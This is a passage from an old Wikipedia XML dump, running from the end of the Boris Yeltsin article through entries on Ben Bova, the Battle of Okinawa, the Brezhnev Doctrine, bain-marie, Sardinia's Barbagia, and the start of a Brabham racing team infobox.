According to numerous reports, Yeltsin was a heavy drinker. Moreover, his [[alcoholism]] played a role in significant decisions that had effect on [[Russia]] and the whole [[world]].

*In 1989, Yeltsin went to the [[USA]] to give a series of speeches on social and political life in the [[Soviet Union]]. That trip was described by a scandalous publication in the Italian newspaper La Repubblica. The article reported that Yeltsin often appeared drunk in public. The article was reprinted by [[Pravda]].

*According to U.S. [[Deputy Secretary of State]] [[Strobe Talbott]], [[President Bill Clinton]] was exposed to Yeltsin's [[alcoholism]] in their first phone call when Yeltsin called to congratulate him on Inauguration Day in 1993. Yeltsin was drunk. He was drunk again during the first summit meeting they had with Clinton in [[Vancouver]]. Talbott recalls that Yeltsin was so drunk when he arrived in  the airport in September 1994 that he could barely get off the plane. The same night Yeltsin was staggering around in his underpants shouting for pizza. According to Talbott, that was a huge problem, and they did their best not to add to the public embarrassment. Phone calls to Yeltsin had to be timed to increase the probability to get him sober.  During the Kosovo bombing, Yeltsin, who was obviously drunk, suggested that he and Clinton meet on a submarine.

*The portrayal of Yeltsin as a drunk in TV show Kukly by [[Victor Shenderovich]] has led to a criminal investigation, which was later dropped.

*Gwynne Dyer, a London-based independent journalist, commented in The Moscow Times on April 13, 1999: 
:'' &quot;I have seen President Boris Yeltsin drunk and I'm pretty sure I have seen him sober, but unless he does something obvious like singing or falling over, it takes a while to decide: Both his body language and his speech patterns tend to blur the issue.&quot; ''

== Life after resignation ==
Yeltsin's personal and health problems received a lot of attention in the global press. As the years went on, he was seen as an increasingly unstable leader, and not the inspiring figure he once was. The possibility that he might die in office was often discussed.

Yeltsin has remained very low-key since his resignation, making almost no public statements or appearances. However, on [[September 13]], [[2004]], following the [[Beslan school hostage crisis]], and nearly-concurrent terrorist attacks in Moscow, Putin launched an initiative to replace the election of regional governors with a system whereby they would be directly appointed by the President and approved by regional legislatures. Yeltsin, together with Mikhail Gorbachev, publicly criticized Putin's plan as a step away from democracy in Russia and a return to the centrally run political apparatus of the Soviet era.

In September 2005, Yeltsin underwent a hip operation in Moscow after breaking his femur in a fall while vacationing on the Italian island of [[Sardinia]].

Yeltsin and the members of his family that were involved in his administration enjoy a comfortable, wealthy life. According to [http://www.compromat.ru/main/eltsyn/a.htm &quot;Yeltsin and His Family&quot; (''Compromising Material'' website, in Russian)], the wealth that they gained through participation in government structures by far exceeds the amount that they could possibly earn as the salary. For example, in 1996 they owned two high-speed river yachts with a price tag of 450,000 dollars, which were manufactured for them by a Swiss company. They also allegedly own an 11-million dollar villa in France and expensive facilities for horse riding.  Education of Yeltsin's grandson in the UK in the mid 90s costed about 25,000 dollars per year. According to general Korzhakov, [[Roman Abramovich]] handles finances of Yeltsin's family.

On February 1st 2006, Yeltsin celebrated his 75th birthday. He used this occasion as an opportunity to criticize a &quot;monopolistic&quot; US foreign policy, and to state that Vladimir Putin was the right choice for Russia. He also discraded the accusation of corruption and the term &quot;Family&quot; as complete nonsense.

==Trivia==
* Yeltsin sold [[Sibneft]] to [[Roman Abramovich]] for 180 million dollars. Abramovich then sold it back to the state-owned [[Gazprom]] for 13 billion dollars.

==External links==
{{wikiquote}}
{{commons|Борис Николаевич Ельцин|{{PAGENAME}}}}
*[http://www.cnn.com/SPECIALS/cold.war/kbank/profiles/yeltsin/ CNN Cold War - Profile: Boris Nikolayevich Yeltsin]
*[http://www.elvispresleynews.com/BorisYeltsin.html Boris Yeltsin the Elvis Fan]

{{start box}}
{{succession box | before = [[Oleg Lobov]] | title = [[Prime Minister of Russia]] | years = 1991&amp;ndash;1992 | after = [[Yegor Gaidar]]}}
{{succession box | before = None | title = [[President of Russia]] | years = 1991&amp;ndash;1999 | after = [[Vladimir Putin]]}}
{{end box}}


[[Category:1931 births|Yeltsin, Boris]]
[[Category:Living people|Yeltsin, Boris]]
[[Category:Amputees|Yeltsin, Boris]]
[[Category:Presidents of the Russian Federation|Yeltsin, Boris]]
[[Category:Soviet politicians|Yeltsin, Boris]]

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  </page>
  <page>
    <title>Ben Bova</title>
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      <minor />
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      <text xml:space="preserve">[[Image:Ddb-268-17-wiki.jpg|right|Ben Bova in 1974|175px]]

'''Benjamin William Bova''' (born [[November 8]], [[1932]]) is an American [[science fiction author]] and editor.

==Biographical timeline==
* [[28 November]] [[1932]] - born in [[Philadelphia, Pennsylvania]]
* 1953 - married Rose Cucinotta (divorced 1974)
* 1954 - received [[Bachelor of Science]] from [[Temple University]]

He became editor of ''[[Analog Science Fiction]]'' after [[John W. Campbell]]'s death; after leaving Analog, he went on to edit [[Omni Magazine]]. 

He was the science advisor for the failed television series ''[[The Starlost]]'', leaving in disgust after the airing of the first episode; his novel ''The Starcrossed'' was loosely based on his experiences and featured a thinly veiled characterization of his friend and colleague [[Harlan Ellison]].  He dedicated the novel to &quot;Cordwainer Bird&quot;, the pen name Harlan Ellison uses when he does not want to be associated with a television or film project.

Ben Bova is the President Emeritus of the [[National Space Society]] and a past President of [[Science-fiction and Fantasy Writers of America]] [http://www.sfwa.org/] ([[SFWA]]).

Bova was a technical writer for [[Project Vanguard]] and later for [[Avco Everett]] in the 1960s when they did research in [[lasers]] and [[fluid dynamics]].  It was there that he met [[Arthur R. Kantrowitz]] later of the [[Foresight Institute]].  Bova is an avid [[fencing|fencer]] and organized Avco Everett's fencing club.  Bova is also an environmentalist of the [[Ansel Adams]] variety and met Adams by chance.  Bova wants to conserve the Earth but rejects [[Luddism]].

Bova has drawn on these meetings and experiences to create fact and fiction writings rich with references to [[spaceflight]], [[laser]]s, [[artificial heart]]s, [[nanotechnology]], [[environmentalism]], [[fencing]] and [[martial arts]], [[photography]] and [[artist]]s.

Ben Bova is the author of over a hundred books, non-fiction as well as science fiction.

==Bibliography==
===Science fiction===
* ''The Star Conquerors'' (1959)
* ''Star Watchman'' (1964)
* ''The Weathermakers'' (1967)
* ''Out of the Sun'' (1968)
* ''The Dueling Machine'' (1969)
* ''Escape!'' (1969)
* The Exiles Trilogy
** ''Exiled From Earth'' (1971)
** ''Flight of Exiles'' (1972)
** ''End of Exile'' (1975)
* ''THX 1138'' (with [[George Lucas]]) ([[1971]]) ''based on [[THX 1138]]''
* ''As on a Darkling Plain'' (1972)
* ''When the Sky Burned'' (1972)
* ''Gremlins, Go Home! (with Gordon R. Dickson) (1974)
* ''The Starcrossed'' (1975)
* ''City of Darkness'' (1976)
* ''Millennium'' (1976)
* ''The Multiple Man'' (1976)
* ''Colony'' (1978)
* ''Kinsman'' (1979)
* ''Voyagers'' (1981)
* ''Test of Fire'' (1982)
* ''The Winds of Altair'' (1983)
* The Orion series
** ''Orion'' (1984)
** ''Vengeance of Orion'' (1988)
** ''Orion in the Dying Time'' (1990)
** ''Orion and the Conqueror'' (1994)
** ''Orion Among the Stars'' (1995)
* ''Privateers'' (1985) (Contains a character from the ''Grand Tour'' series, but the history is different, such as the Soviet Union still existing.)
* ''Voyagers II: The Alien Within'' (1986)
* ''Battle Stations'' (1987)
* ''The Kinsman Saga'' (1987)
* ''Peacekeepers'' (1988)
* ''Cyberbooks'' (1989)
* ''Voyagers III: Star Brothers'' (1990)
* ''The Trikon Deception'' (with Bill Pogue) (1992)
* ''To Save the Sun'' (with A.J. Austin) (1992)
* The &quot;Grand Tour&quot; books (in series chronological order, including the Asteroid Wars novels)
** ''Powersat'' (2005)
** ''Empire Builders'' (1993)
** ''Mars'' (1992) 
** ''Moonrise'' (1996)
** ''Moonwar'' (1998)
** ''Return to Mars'' (1999)
** ''The Precipice'' (2001) (The Asteroid Wars I)
** ''Jupiter'' (2001)
** ''The Rock Rats'' (2002) (The Asteroid Wars II)
** ''Saturn'' (2002)
** ''Titan'' (2006)
** ''The Silent War'' (2004) (The Asteroid Wars III)
** ''Mercury'' (2005)
** ''Venus'' (2000)
** ''Tales of the Grand Tour'' (2004) (short stories occurring at various times throughout the series)
* ''Triumph'' (1993) [[Alternate history (fiction)|Alternate history]] work set at the end of [[World War II]] in which [[Winston Churchill]] plots the [[assassination]] of [[Joseph Stalin]], and in which [[Franklin D. Roosevelt]] lives past 1945. ISBN 0312853599
* ''Sam Gunn, Unlimited'' (1993)
* ''To Fear the Light'' (with A.J. Austin) (1994)
* ''Death Dream'' (1994)
* ''Brothers'' (1996)
* ''Sam Gunn Forever'' (1998)

===Nonfiction===
*''Man Changes the Weather'' (1973)
*''The Craft of Writing Science Fiction That Sells''  Writers Digest Books, 1994 ISBN 0898796008 (a guide to writing fiction of any genre)
* ''Are We Alone in the Cosmos?'' (1999)
* ''Faint Echoes, Distant Stars: The Science and Politics of Finding Life Beyond Earth'' (2004)

==See also==
* [[Science fiction]]:
**[[List of science fiction authors|authors]]
**[[List of science fiction novels|novels]]
**[[List of science fiction short stories|short stories]]
**[[List of science fiction television|television shows]]

==External links==
*[http://www.benbova.net/ Ben Bova official site, sponsored by author]
*{{isfdb name|id=Ben_Bova|name=Ben Bova}}
*{{Hour25|Ben Bova|http://www.hour25online.com/Hour25_Previous_Shows_2001-11.html#ben-bova_2001-11-09}}


[[Category:1932 births|Bova, Ben]]
[[Category:American science fiction writers|Bova, Ben]]
[[Category:Living people|Bova, Ben]]
[[Category:Science fiction editors|Bova, Ben]]

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  <page>
    <title>Battle of Ardrianople</title>
    <id>4984</id>
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      <id>15903231</id>
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      <text xml:space="preserve">#REDIRECT [[Battle of Adrianople]]</text>
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  <page>
    <title>Battle of Ardennes</title>
    <id>4985</id>
    <revision>
      <id>15903232</id>
      <timestamp>2004-08-28T00:47:38Z</timestamp>
      <contributor>
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      <minor />
      <text xml:space="preserve">#redirect [[Ardennes Offensive]]</text>
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  <page>
    <title>Battle of Okinawa</title>
    <id>4986</id>
    <revision>
      <id>41799503</id>
      <timestamp>2006-03-01T20:57:48Z</timestamp>
      <contributor>
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      <text xml:space="preserve">{{Infobox Military Conflict
|conflict=Battle of Okinawa
|partof=[[World War II]], the [[Pacific War]]
|image=[[Image:Ww2 158.jpg|300px|]]
|caption=A Marine of the 1st Marine Division draws a bead on a Japanese sniper with his tommy-gun as his companion ducks for cover.
|date=[[April 1]], [[1945]] &amp;ndash; [[June 21]], [[1945]]
|place=[[Okinawa]], [[Japan]]
|result=Allied victory
|combatant1=[[United States]]&lt;br&gt;[[United Kingdom]]&lt;br&gt;(naval involvement only)
|combatant2=[[Japan]]
|commander1=[[Simon Bolivar Buckner, Jr.|Simon Bolivar Buckner]]&lt;br&gt;[[Joseph Stillwell]]   
|commander2=[[Mitsuru Ushijima]]
|strength1=548,000
|strength2=107,000 regulars&lt;br&gt;24,000 militia
|casualties1=18,900+  killed&lt;br&gt;38,000 wounded&lt;br&gt;33,096 non-combat wounded&lt;br&gt;38 ships lost&lt;br&gt;763 aircraft lost
|casualties2=110,000+ killed&lt;br&gt;7,455 captured (2,300 Japanese)&lt;br&gt;16 ships lost&lt;br&gt;7,800 aircraft lost
}}
{{Campaignbox Ryukyus}}

The '''Battle of Okinawa''', fought on the island of [[Okinawa]] in the [[Ryukyu Islands]] (south of the four big islands of [[Japan]]), was the largest [[Amphibious warfare|amphibious assault]] during the [[Pacific War|Pacific campaign]] of [[World War II]]. It was also the largest sea-land-air battle in history, running from April through June, [[1945]].

Neither side expected it to be the last major battle of the war, which it was.  The Americans were planning [[Operation Downfall]], the invasion of the main islands of Japan, which never happened, due to the Japanese surrender after the American use of the atomic bomb in August 1945 (first in [[Hiroshima]], and a second time in [[Nagasaki]]) and the [[Soviet Union]] declaring war on Japan.

The battle has been referred to as &quot;Typhoon of Steel&quot; in English, and &quot;tetsu no ame,&quot; &quot;tetsu no bōfū&quot; by Okinawans, which mean &quot;rain of steel&quot; and &quot;violent wind of steel&quot; respectively, referring to the intensity of gunfire that characterized this battle.

At some battles, such as [[Battle of Iwo Jima|Iwo Jima]], there had been no civilians, but Okinawa had a large indigenous civilian population, and the civilian losses in the battle were at least 150,000. American losses were over 72,000 casualties, of whom 18,900 were killed or missing, over twice the number killed at Iwo Jima and [[Battle of Guadalcanal|Guadalcanal]] combined. Several thousand soldiers who died indirectly (from wounds and other causes), at a later date, are not included. About a third of the civilian population of the island in spring, 1945 were killed. There were about 100,000 Japanese soldiers killed and 7,000 captured.  Some of the soldiers committed [[seppuku]] or simply blew themselves up with grenades.  Some of the civilians, having been convinced by Japanese [[propaganda]] that the Americans were barbarians who committed horrible atrocities, killed their families and themselves to avoid capture.

==Generals==

The American land campaign was controlled by the [[US Tenth Army|Tenth Army]], commanded by Lieutenant General [[Simon Bolivar Buckner, Jr.]] The army had two [[corps]] under its command, [[US III Amphibious Corps|III Amphibious Corps]], consisting of [[U.S. 1st Marine Division|1st]] and [[U.S. 6th Marine Division|6th]] Marine Divisions, with [[U.S. 2nd Marine Division|2nd Marine Division]] as an afloat reserve, and [[US XXIV Corps|XXIV Corps]], consisting of the [[U.S. 7th Infantry Division|7th]], [[US 27th Infantry Division|27th]], [[U.S. 77th Infantry Division|77th]] and [[U.S. 96th Infantry Division|96th]] Infantry Divisions. At the very end of the campaign, Buckner was killed by ricocheting shell fragments, becoming the most senior US casualty in the entire war.

The Japanese land campaign (mainly defensive) was conducted by the 100,000 strong [[Japanese Thirty-Second Army|32nd Army]]. It consisted of the 9th, 24th, and 62d Divisions, and the 44th Independent Brigade. Primary resistance was led in the south by General [[Mitsuru Ushijima]]. He committed suicide at the end. In the less-talked-about north of Okinawa, General [[Takehido Udo]] commanded.

[[Image:Ww2 157.jpg|right|200px|thumb|A [[F4U Corsair|Corsair]] fighter fires rocket projectiles on a run against a Japanese stronghold on Okinawa]]

==Before [[April 1]], [[1945]]==

United States submarines had, by late 1944, wreaked havoc upon Japanese shipping. The troop ship ''[[Toyama Maru]]'' was sunk, on its way to Okinawa, by the [[USS Sturgeon (SS-187)|USS ''Sturgeon'']] (SS-187).  This caused a loss of about 5,600 men.  Since this sinking occurred nine months before the land campaign, these Japanese deaths are usually not figured in accounts of the battle losses.  The ''Sturgeon'' escaped, despite being pummeled by [[depth charge]]s. 

Additionally, before the battle, the evacuation ship ''[[Tsushima Maru]]'' was sunk by the [[USS Bowfin (SS-287)|USS ''Bowfin'']] (SS-287) and 1,484 women and children died.

On [[October 10]] [[1944]], Okinawa gained a dubious shorthand for ''disaster''&amp;mdash;the numerals ''10-10''. Waves of bombers pummeled the nearly-defenseless island, causing untold wreckage on land; over 80% of [[Naha]] was destroyed, and more than 65 boats were sunk. Japanese anti-aircraft technology was not up to combating the nimble American planes.

Shortly before the battle, the Japanese [[battleship]] [[Japanese battleship Yamato|''Yamato'']] was sunk, by American aircraft, on her trip to Okinawa in the disastrous [[Operation Ten-Go]]. The Japanese had a plan to beach ''Yamato'' on Okinawa's shore, and to use her as a land battery. Widespread rumors that the ship was only given enough fuel for a one-way trip are false; Feifer debunks this (references).

==The land battle==

The land battle took place over about 82 days after [[April 1]], [[1945]].

===The north===

The Americans swept across the thin part of the south-central part of the island, with relative ease by World War II standards, soon taking the lightly-held north, though there was fierce fighting at ''[[Yae-dake Mountain]]'', and took the [[Kadena Air Base]] and the [[Yomitan Air Base]]s &amp;mdash; [[as of 2005]], Kadena remains the largest American air base in [[Asia]], and its runways can handle big planes.

The Japanese were to dearly regret losing the Kadena and Yomitan air bases, and gave them up with little fight. The entire north fell on [[April 20]].

Few Americans encountered the feared [[Habu snake]], soon discarding their cumbersome leggings. Far worse awaited them in the south, the north was only a &quot;warm-up&quot;.

===The south===

Fighting in the south was hardest: the Japanese soldiers hid in caves; but the American advance was inexorable. The island fell on about [[June 21]], though some Japanese continued fighting, including the future governor of [[Okinawa prefecture]], [[Masahide Ota]].



==Combat fatigue==
U.S forces suffered their highest ever casualty rate for [[combat stress reaction]] during the entire battle, at 48% above other casualties compared to 30% in the Korean War.

==Quotes==
&quot;7,613 were killed and missing in action, and the remaining sixty-four-odd thousand were almost equally divided between those wounded seriously enough to be out of action more than a week and non-battle casualties, chiefly victims of battle fatigue.&quot; (Feifer)

&quot;Ninety percent of the buildings on the island were completely destroyed, and the lush tropical landscape was turned into a vast field of mud, lead, decay and maggots.&quot; [http://www.nyc-shorinryu.com/okinawa.html]

&quot;By the end of May monsoon rains which turned contested slopes and roads into a morass exacerbated both the tactical and medical situations. The ground advance began to resemble a World War I battlefield as troops became mired in mud and flooded roads greatly inhibited evacuation of wounded to the rear. Troops lived on a field sodden by rain, part garbage dump and part graveyard. Unburied Japanese bodies decayed, sank in the mud, and became part of a noxious stew. Anyone sliding down the greasy slopes could easily find their pockets full of maggots at the end of the journey.&quot; [http://www.globalsecurity.org/military/facility/okinawa-battle.htm]

&quot;While on Okinawa, the marines and soldiers were going through their crucible of hell brought on by rain, heat, poison snakes, mosquitoes...the stench of human feces and rotting human flesh filled with maggots....&quot; [http://www.historycooperative.org/journals/ht/34.1/tzeng.html#FOOT21]

== Allied involvement ==
Although the land battle was entirely a US campaign, Allied naval ships added to the air bomdardment principally supplied by the U.S. Navy. [[British_Pacific_Fleet|Task Force 57]], a carrier group with British, Australian and New Zealand ships and personnel provided about 20% of the available naval air power.

Task Force 57 was assigned the task of neutralising the Japanese airfields in the [[Sakishima Gunto]], which it did from [[26 March]] until [[10 April]]. On [[10 April]], its attentions were transferred to airfields on northern [[Taiwan]]. The force withdrew to San Pedro Bay on [[23 April]]. Although by then a commonplace event for the U.S. Navy, this was the longest time that a Royal Naval force of that size had been maintained at sea.

From [[4 May]] [[1945]], Task Force 57 returned to action, subduing the airfields as before, this time with naval bombardment as well as aircraft. A number of Kami-kaze suicide attacks caused significant damage but only a brief interruption to the force's work. They finally withdrew to [[Guam]] and [[Manus Island]] on [[25 May]].

== Aftermath ==
The most famous American casualty was the [[Journalist|war correspondent]] [[Ernie Pyle]], who was killed by a Japanese [[sniper]] on [[Ie Shima]], just off the northwest coast of Okinawa.

U.S. General [[Simon Bolivar Buckner, Jr.]] was killed by a Japanese ricocheting artillery shell while inspecting his troops at the front line, just 4 days before the end of the battle. He was the highest-ranking American to die during the war.  

Many military historians believe that Okinawa led directly to American use of the [[atomic bomb]], on [[Hiroshima]] and [[Nagasaki]].  A prominent holder of this view is [[Victor Davis Hanson]], who states it explicitly in his book ''[[Ripples of Battle]]''.  The theory goes: ''because the Japanese on Okinawa, including native Okinawans, were so fierce in their defense (even when cut off, and without supplies), and because casualties were so appalling, many American strategists looked for an alternative means to subdue mainland Japan, other than a direct invasion.  This means presented itself, with the advent of atomic bombs, which worked admirably in convincing the Japanese to sue for peace, without American casualties.  Ironically, the American conventional fire-bombing of major Japanese cities (which had been going on for months before Okinawa) was far more effective at killing civilians than the atomic bombs and, had the Americans simply continued, or expanded this, the Japanese would likely have surrendered anyway.  Nevertheless, the bombs were a powerful symbolic display of American power, and the Japanese capitulated, obviating the need for an invasion of the home islands.''

In 1945, [[Winston Churchill]] called the battle &quot;among the most intense and famous in military history.&quot;

==External links==
*[http://www.army.mil/cmh-pg/books/wwii/okinawa/ US military on the Battle of Okinawa]
*[http://www.nzetc.org/tm/scholarly/tei-WH2Navy-c24.html New Zealand account with reference to Operation ''Iceberg'']
*[http://www.adamsplanes.com/USS%20Gilbert%20Is%201945.htm USS Gilbert Islands CVE 107. 1945 {at Okinawa}]
* [http://www.ibiblio.org/hyperwar/USA/USA-P-Okinawa/ United States Army in World War II The War in the Pacific Okinawa: The Last Battle]
*[http://www.globalsecurity.org/military/facility/okinawa-battle.htm/ Global Security history of Battle of Okinawa particular combat fatigue figures]
*[http://www.militaryhistoryonline.com/wwii/okinawa/default.aspx/ History Online about Battle of Okinawa particular force strengths and casualties on both sides]

==References==
* [http://www.questia.com/PM.qst?a=o&amp;d=102426744 Appleman, Roy E., James M. Burns, Russell A. Gugeler, and John Stevens. ''Okinawa: the Last Battle'' (1948)] official US Army history. 	
*Feifer, George (1992), ''Tennozan: The Battle of Okinawa and the Atomic Bomb'' ISBN 0395700663
*Keegan, John, ''The Second World War'' ISBN 0712673842
	

[[Category:World War II operations and battles of the Pacific Campaign|Okinawa]]
[[Category:Battles and operations of World War II|Okinawa]]

[[de:Schlacht um Okinawa]]
[[fr:Bataille d'Okinawa]]
[[he:קרב אוקינאווה]]
[[ja:沖縄戦]]
[[pl:Bitwa o Okinawę]]
[[pt:Batalha de Okinawa]]
[[sr:Битка за Окинаву]]
[[sv:Slaget om Okinawa]]</text>
    </revision>
  </page>
  <page>
    <title>Battle of El Alamein</title>
    <id>4987</id>
    <revision>
      <id>39858032</id>
      <timestamp>2006-02-16T09:36:56Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <text xml:space="preserve">There were two '''battles of [[El Alamein]]''', both during [[1942]]. In [[Egypt]], Allied (primarily Commonwealth) forces under a British General finally stopped the Germans. It was a turning point for [[World War II]]. 

* [[First Battle of El Alamein]] - July 1942
* [[Second Battle of El Alamein]] - November 1942

{{disambig}}

[[ja:&amp;#12456;&amp;#12523;&amp;#12539;&amp;#12450;&amp;#12521;&amp;#12513;&amp;#12452;&amp;#12531;&amp;#12398;&amp;#25126;&amp;#12356;]]
[[pl:Bitwa pod El Alamein]]</text>
    </revision>
  </page>
  <page>
    <title>Brezhnev Doctrine</title>
    <id>4988</id>
    <revision>
      <id>33912189</id>
      <timestamp>2006-01-05T00:59:27Z</timestamp>
      <contributor>
        <username>Vina-iwbot</username>
        <id>727408</id>
      </contributor>
      <minor />
      <comment>robot  Adding: no</comment>
      <text xml:space="preserve">The '''Brezhnev Doctrine''' was a [[Soviet Union|Soviet]] policy doctrine, introduced by [[Leonid Ilych Brezhnev|Leonid Brezhnev]] in a speech at the Fifth Congress of the [[Polish United Workers' Party]] on [[November 13]], [[1968]], which stated: 

:&quot;''When forces that are hostile to [[socialism]] try to turn the development of some socialist country towards [[capitalism]], it becomes not only a problem of the country concerned, but a common problem and concern of all socialist countries.''&quot; 

Implicit in this doctrine was that the leadership of the Soviet Union reserved, for itself, the right to define &quot;socialism&quot; and &quot;capitalism&quot;. This meant in practice that no country was allowed to leave the [[Warsaw Pact]] or to disturb that nation's communist party's monopoly on power. The doctrine was used to justify the invasions of [[Czechoslovakia]] that terminated the [[Prague Spring]] in [[1968]] and of the non-Warsaw Pact nation of [[Soviet invasion of Afghanistan|Afghanistan]] in [[1979]]. The Brezhnev Doctrine was superseded by the facetiously named [[Sinatra Doctrine]] in [[1988]].

{{Wikisourcepar2|Brezhnev Doctrine|Text of Brezhnev's speech}}


[[Category:Foreign policy doctrines]]
[[Category:Soviet external politics]]

[[de:Breschnew-Doktrin]]
[[es:Doctrina Brezhnev]]
[[it:Dottrina Brežnev]]
[[nl:Brezjnev-doctrine]]
[[no:Brezjnev-doktrinen]]
[[sv:Brezjnevdoktrinen]]
[[zh:勃列日涅夫主义]]</text>
    </revision>
  </page>
  <page>
    <title>Bain-marie</title>
    <id>4990</id>
    <revision>
      <id>41661580</id>
      <timestamp>2006-02-28T22:23:28Z</timestamp>
      <contributor>
        <username>Arsine</username>
        <id>447227</id>
      </contributor>
      <comment>/* References */ rm redundant interwiki links (already in the side bar)</comment>
      <text xml:space="preserve">'''Bain-marie''' or '''Mary's bath''' is a method utilised in [[industry]] ([[pharmacy|phamaceutical]], [[cosmetics]], [[conserves]], etc.), [[chemistry|chemical]] laboratories and in the kitchen to slowly warm or convey uniform [[temperature]] to a [[Liquid|liquid]] or [[Solid|solid]] substance, by submerging the container into a larger one with boiling or near boiling water.  

The main concept here is that of ''bath'' which implies ''indirect heating'' of a substance. [[Heat transfer]] to the ''medium'' (water of the bath) is by [[convection]], while [[Thermal conduction|conduction]] is the process involved in the warming of the substance. The medium (''bath'') could be [[mineral oil]]; pure [[water]], [[salt]] [[solution]]s of varying [[solute]]s [[concentration]]s, etc., depending on the temperature at which the substance is required to be warmed. It is customary to add ''medium'' at ambient (room) temperature to decrease its temperature and consequently the heat transfer rate from it to the substance. 

The term originates from [[alchemy]], where some practitioners needed to give their materials prolonged periods of gentle heating, in an attempt to mimic the supposed natural processes whereby [[precious metal]]s [[germination|germinated]] in the earth. It was said to be an invention of [[Mary the Jewess]], an ancient alchemist and traditionally supposed to have been [[Miriam]], a sister of [[Moses]]. The name comes from this tradition: ''balneum Mariae'' in medieval [[Latin]], from which the [[French language|French]] ''bain de Marie'' is derived, although, in the french wikipedia the coinage of the [[:fr:Bain-marie|term]] is attributed to the medieval German philosopher and theologian [[Albertus Magnus|Saint Albert the Great]] ([[1193]]-[[1280]]). 

'''Bain-marie''' (or &quot;water bath&quot;; plural ''bains-marie'') is also the apparatus used in the warming process. A similar device is a [[double boiler]].

[[Image:Bain-marie.JPG|thumb|Bain-marie]]

==Culinary applications==
* [[Cheesecake]] is generally baked in a '''bain-marie''' to prevent the top from cracking in the center.
* [[Custard]], for example, may be cooked in a '''bain-marie''' to prevent a crust from forming on the outside of the custard before the interior is cooked.
* Melting of [[chocolate]] for use in topping of various dishes
* Dehydration and thickening of [[condensed milk]] to make several milk-sweets
* Controlled-temperature '''bain-marie''' is recommended to lukewarm freeze-stored [[breast milk]] when timely [[breastfeeding]] is not possible, according to breastfeeding advocates.

==References==

* [http://www.uch.ceu.es/principal/eponimos_cientificos/bano_maria.asp José María de Jaime Lorén. 2003. Epónimos científicos. Baño María. María La Judía. Universidad Cardenal Herrera-CEU. (Moncada, Valencia).]
* [http://www.washacadsci.org/Journalarticles/ZosimosText.H.S.ElKhadem.pdf Prof. Dr. Hassan S. El Khadem. 1996. A Translation of a Zosimos' Text in an Arabic Alchemy Book. Journal of the Washington Academy of Sciences. Volume 84. Number 3, Pages 168-178. September 1996]

[[category:alchemy]]
[[Category:Cookware and bakeware]]
[[Category:French phrases]]

[[de:Bain-Marie]]
[[es:Baño María]]
[[fr:Bain-marie]]
[[he:אמבט מרים]]
[[nl:Au bain marie]]
[[pt:Banho-maria]]</text>
    </revision>
  </page>
  <page>
    <title>Belgian</title>
    <id>4992</id>
    <revision>
      <id>22527877</id>
      <timestamp>2005-09-04T06:13:55Z</timestamp>
      <contributor>
        <ip>205.201.7.93</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Belgium]]</text>
    </revision>
  </page>
  <page>
    <title>Brabham</title>
    <id>4993</id>
    <revision>
      <id>15903240</id>
      <timestamp>2004-10-21T21:54:51Z</timestamp>
      <contributor>
        <username>Rdsmith4</username>
        <id>61329</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Brabham Racing Organisation]]</text>
    </revision>
  </page>
  <page>
    <title>Ballu tundu</title>
    <id>4994</id>
    <revision>
      <id>33166975</id>
      <timestamp>2005-12-29T21:29:43Z</timestamp>
      <contributor>
        <ip>84.220.128.238</ip>
      </contributor>
      <text xml:space="preserve">'''Ballu tundu''' is a traditional popular [[dance]] of [[Sardinia]].
It is usually played in circle.
 
{{dance-stub}}

[[Category:Dance]]</text>
    </revision>
  </page>
  <page>
    <title>Barbagia</title>
    <id>4995</id>
    <revision>
      <id>29162669</id>
      <timestamp>2005-11-24T21:50:51Z</timestamp>
      <contributor>
        <username>Playnyc</username>
        <id>506264</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Barbagia''' is an area of inner [[Sardinia]].

The name comes from [[Cicero]], who described it as a land of ''[[Barbarians]]'' because Sardinians did not shave like the Romans did. The territory was also known as ''latrones mastrucati'', &quot;thieves with a rough garment in wool&quot;.

The area is usually divided into three Barbagias: the Barbagia di [[Ollolai]], the Barbagia di [[Seùlo]] and the Barbagia di [[Mandrolisai]]. The latter is named after a sub-region, and the others after their main villages.

The area is full of hard hills, and there is little human presence. In fact, Barbagia is one of the least populated areas in Europe. These facts have allowed Barbagia to preserve its cultural and natural treasures. The language spoken is [[Sardo logudorese]].

One of the most important towns is [[Gavoi]], while the town of [[Orgosolo]] is, unfortunately, famous for bandits and kidnappers. [[Oliena]] has a reputation for its [[wine]]s (especially the Nepente, a kind of [[Cannonau]]). Another important village is [[Fonni]], being the highest town in Sardinia. More than 1000 meters form sea level. Fonni is also the gateway to the Gennargentu mountain system

Sardinia seems to show a close mentality, proud of its peculiarities, and Nugoro expresses this feeling as a typical state of mind. A proverb can explain, better than thousands of words, Sardinian mentality towards foreigners: &quot;Furat chie benit dae su mare&quot; = The one who comes from sea, is here to steal. 

Criminality is effectively a relevant local problem, but the diffence of mentality with the Continent (and in general from Western habits) has to be considered while admitting a different social organisation and peculiar popularly felt behaviour codes. What is law on the Continent might be considered a social offense here (e.g. no one here considers it polite to show a personal identity document or to have anyone else's behaviour investigated), and vice versa (e.g. there is a noticeable difference about some words and gestures are considered, especially when considering &quot;Honour&quot; even though this is evident mostly in the smaller town nearby and disappearing).
It has to be noted that in recent times this behaviour is somewhat reduced to folklore, as well as the criminality rates dwindling.


Economy: agriculture, sheep breeding, art and tradition related business, tourism and light industry.

[[Category:Sardinia]]

[[fr:Barbagia]]
[[it:Barbagia]]</text>
    </revision>
  </page>
  <page>
    <title>Brabham Racing Organisation</title>
    <id>4996</id>
    <revision>
      <id>42043931</id>
      <timestamp>2006-03-03T12:11:22Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Modifying: es</comment>
      <text xml:space="preserve">{{F1 team |
  Short_name    = Brabham |
  Long_name     = Brabham Racing Organisation|
  Logo          = [[Image:Brabham_racing_organisation_logo.gif|Brabham_racing_organisation_logo.gif]] |
  Base          = [[Milton Keynes]], [[United Kingdom]] |
  Principal     = [[Jack Brabham]] &lt;br /&gt; [[Bernie Ecclestone]] |
  Director      = [[Ron Tauranac]] &lt;br /&gt; [[Gordon Murray]] |
  Drivers       = [[Eric van de Poele]] &lt;br /&gt; [[Damon Hill]] |
  Test_drivers  = ''none'' |
  Chassis       = Brabham BT60B |
  Engine        = [[Judd (engine)|Judd]] GV |
  Tyres         = [[Goodyear]] |
  Debut         = [[1962 German Grand Prix|1962]] [[German Grand Prix]] |
  Races         = 402 |
